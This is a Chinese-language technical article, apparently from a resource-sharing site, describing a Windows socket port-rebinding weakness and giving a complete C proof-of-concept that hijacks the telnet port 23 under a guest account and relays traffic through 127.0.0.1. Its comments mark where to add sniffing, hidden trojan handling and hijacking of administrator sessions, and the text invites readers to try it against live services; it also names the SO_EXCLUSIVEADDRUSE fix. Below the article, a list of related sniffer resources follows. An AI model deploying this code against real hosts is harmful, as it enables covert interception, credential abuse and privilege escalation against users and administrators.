`

Socket重绑定端口截听实现隐藏嗅探与攻击

阅读更多

在asp.cn/ class=wordstyle>WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:



  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

  saddr.sin_family = AF_INET;

  saddr.sin_addr.s_addr = htonl(INADDR_ANY);

  bind(s,(SOCKADDR *)&saddr,sizeof(saddr));

  其实这当中存在在非常大的_blank>安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。

  这意味着什么?意味着可以进行如下的攻击:

  1.一个_blank>木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。

  2.一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程_blank>漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)

  3.针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达_blank>入侵的目的。

  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 

  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。

  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。

  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。

  #include
  #include WINDOWS.H>
  #include
  #include   
  DWORD WINAPI Cl_blank>ientThread(LPVOID lpParam);  
  int main()
  {
  WORD wVersionRequested;
  DWORD ret;
  WSADATA wsaData;
  BOOL val;
  SOCKADDR_IN saddr;
  SOCKADDR_IN scaddr;
  int err;
  SOCKET s;
  SOCKET sc;
  int caddsize;
  HANDLE mt;
  DWORD tid;  
  wVersionRequested = MAKEWORD( 2, 2 );
  err = WSAStartup( wVersionRequested, &wsaData );
  if ( err != 0 ) {
  printf("error!WSAStartup failed!\n");
  return -1;
  }
  saddr.sin_family = AF_INET;
  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了

  saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
  saddr.sin_port = htons(23);
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
  {
  printf("error!socket failed!\n");
  return -1;
  }
  val = TRUE;
  //SO_REUSEADDR选项就是可以实现端口重绑定的
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
  {
  printf("error!setsockopt failed!\n");
  return -1;
  }
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击

  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
  {
  ret=GetLastError();
  printf("error!bind failed!\n");
  return -1;
  }
  listen(s,2);
  while(1)
  {
  caddsize = sizeof(scaddr);
  //接受连接请求
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
  if(sc!=INVALID_SOCKET)
  {
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
  if(mt==NULL)
  {
  printf("Thread Creat Failed!\n");
  break;
  }
  }
  CloseHandle(mt);
  }
  closesocket(s);
  WSACleanup();
  return 0;
  }  
  DWORD WINAPI ClientThread(LPVOID lpParam)
  {
  SOCKET ss = (SOCKET)lpParam;
  SOCKET sc;
  unsigned char buf[4096];
  SOCKADDR_IN saddr;
  long num;
  DWORD val;
  DWORD ret;
  //如果是隐藏端口应用的话,可以在此处加一些判断
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发  
  saddr.sin_family = AF_INET;
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
  saddr.sin_port = htons(23);
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
  {
  printf("error!socket failed!\n");
  return -1;
  }
  val = 100;
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
  {
  ret = GetLastError();
  return -1;
  }
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
  {
  ret = GetLastError();
  return -1;
  }
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
  {
  printf("error!socket connect failed!\n");
  closesocket(sc);
  closesocket(ss);
  return -1;
  }
  while(1)
  {
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
  //如果是嗅探内容的话,可以再此处进行内容分析和记录
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
  num = recv(ss,buf,4096,0);
  if(num>0)
  send(sc,buf,num,0);
  else if(num==0)
  break;
  num = recv(sc,buf,4096,0);
  if(num>0)
  send(ss,buf,num,0);
  else if(num==0)
  break;
  }
  closesocket(ss);
  closesocket(sc);
  return 0 ;
  }

分享到:
评论

相关推荐

    Socket实现网络嗅探器代码

    2. **绑定到网络接口**:使用bind函数将Socket绑定到特定的网络接口,这样嗅探器就能监听该接口上的所有流量。 3. **捕获数据包**:调用recvfrom或WSARecvFrom函数接收来自网络的数据包。由于是RAW Socket,接收到...

    c#写的简单嗅探器(Socket)

    标题中的"C#写的简单嗅探器(Socket)"是一个使用C#编程语言实现的网络嗅探工具,它基于Socket编程,能够帮助开发者或者初学者了解网络通信的基本原理和数据包捕获的技术。嗅探器的主要功能是监听网络接口上的数据流量...

    网络嗅探器的设计与实现

    ### 网络嗅探器的设计与实现:深入解析与技术要点 #### 引言 在信息技术领域,网络嗅探器(Sniffer)扮演着关键角色,尤其在网络安全监测与黑客攻击工具中占据核心地位。网络嗅探器,一种能够捕获并分析网络上传输...

    监控Socket端口程序

    Socket端口监控程序是一种用于跟踪和分析网络通信的工具,主要关注特定端口上的数据交换。在IT领域,理解和创建这样的程序对于网络管理和故障排查至关重要。以下是对标题和描述涉及的知识点的详细解释: 1. **...

    VC代码 编程实现网络嗅探器实验报告

    ### 知识点一:网络嗅探器的基本概念 ...掌握网络嗅探器的设计和实现原理对于网络安全专业人员来说是非常重要的,能够帮助他们更好地保护网络免受攻击。同时,合理的使用嗅探器也能够促进网络技术的发展和创新。

    C++实现网络嗅探器 规划文档

    在C++中实现网络嗅探器涉及的关键技术主要包括网络编程、原始套接字(raw socket)以及数据包解析。 1. **网络嗅探原理** - 网络嗅探器通过将网卡设置为混杂模式,使其能够接收所有通过该网卡的数据包,而不仅仅是...

    Winsocket 网络嗅探

    Winsocket网络嗅探是一种利用网络编程技术来捕获和分析网络流量的方法。在这个场景中,开发者使用了VC++作为编程环境,并结合了WinSocket API来实现这一功能。WinSocket是Windows操作系统提供的一个接口,它允许应用...

    精选_使用原始套接字Raw Socket实现数据包嗅探_源码打包

    这个“精选_使用原始套接字Raw Socket实现数据包嗅探_源码打包”资源提供了一种使用原始套接字进行数据包嗅探的方法,这在网络安全分析、网络调试和协议开发等方面非常有用。下面,我们将深入探讨原始套接字的工作...

    Visual C++编程实现网络嗅探器

    4. **绑定套接字**: 使用`bind`函数将套接字与本地IP地址和端口绑定。由于我们在嗅探,所以通常会绑定到INADDR_ANY,表示接收所有网络接口的数据包。 5. **接收数据包**: 使用`recvfrom`函数接收数据包。由于是原始...

    Socket实现网络嗅探器代码-网络监控代码类资源

    2. 绑定到网络接口:使用`bind()`函数将Socket绑定到特定的网络接口(例如,网卡)。 3. 设置监听模式:对于嗅探器,通常需要设置Socket为混杂模式,使得它可以接收所有通过该接口的数据包,而不仅仅是发往或来自...

    VC++编程实现网络嗅探器

    然后初始化Winsock,创建套接字,绑定到特定的IP和端口,监听连接,接受客户端请求,并通过套接字进行数据收发。在嗅探器中,我们需要监听所有的网络接口,这通常涉及对`SOCK_RAW`类型的套接字和特定的协议(如`...

    使用VC对网络嗅探器进行实现

    标题中的“使用VC对网络嗅探器进行实现”是指利用Microsoft Visual C++(简称VC)这一编程环境开发网络嗅探器。网络嗅探器是一种特殊类型的网络通信程序,它可以捕获并分析网络上的数据包,无论是发往目标设备的还是...

    嗅探器sniffer

    在C#编程语言中,实现一个嗅探器涉及到对网络编程的理解,尤其是关于套接字(Socket)编程和网络协议的知识。C#提供了System.Net.Sockets命名空间,这个命名空间包含了进行低级别网络通信所需的所有类和方法。 首先...

    SniffMFC_RAW_sniff_网络嗅探_

    在本文中,我们将围绕“SniffMFC_RAW_sniff”这一主题,探讨如何使用RAW socket实现网络嗅探,并理解其工作原理和应用。 RAW socket是一种在网络层直接与网络协议交互的接口,它允许程序员绕过操作系统提供的更高...

    tcp_socket VS2010实现_tcp_socketVS2010_vs2010下使用tcp_

    服务器端首先调用`socket()`函数创建套接字,然后用`bind()`函数绑定本地地址和端口,再用`listen()`函数等待客户端连接。客户端同样调用`socket()`创建套接字,接着使用`connect()`函数与服务器建立连接。 5. **...

    Win CE与Windows XP Socket通讯范例

    本话题将深入探讨“Win CE与Windows XP Socket通讯范例”,这涉及到Windows CE(一种嵌入式操作系统)与Windows XP(个人计算机上的操作系统)之间的网络通信,通过Socket编程实现数据交换。以下是关于这个主题的...

    通过rawsocket实现报文侦听拦截

    1. **打开rawsocket**:在C++中,通常会使用`socket()`函数创建一个套接字,然后通过`bind()`函数绑定到特定的网络接口,以便接收该接口上的所有数据包。 2. **设置套接字选项**:使用`setsockopt()`函数可以设置套...

    原始SOCKET抓包与数据分析

    ### 原始SOCKET抓包与数据分析 #### 概述 原始套接字(SOCKET)抓包技术是网络监控、数据包分析等领域的基础技术之一。通过使用原始套接字,我们可以直接访问网络层的数据包,进行深入的数据分析。这种技术广泛应用...

    利用raw socket 仿sinffer

    而利用Raw Socket进行类似的功能,我们可以构建一个简单的数据包嗅探器,实现对局域网内数据流的监控。 首先,理解Raw Socket的工作原理至关重要。在操作系统中,当创建一个Raw Socket时,用户可以直接访问到网络层...

    捕获HTTP包,网络编程实现

    3. 绑定SOCKET:调用`bind`函数将SOCKET与本地IP地址和端口号绑定。 4. 开始监听:使用`listen`函数设置SOCKET为监听模式,等待客户端连接。 5. 接受连接:当有新的连接请求时,调用`accept`函数接受连接,并返回一...

Global site tag (gtag.js) - Google Analytics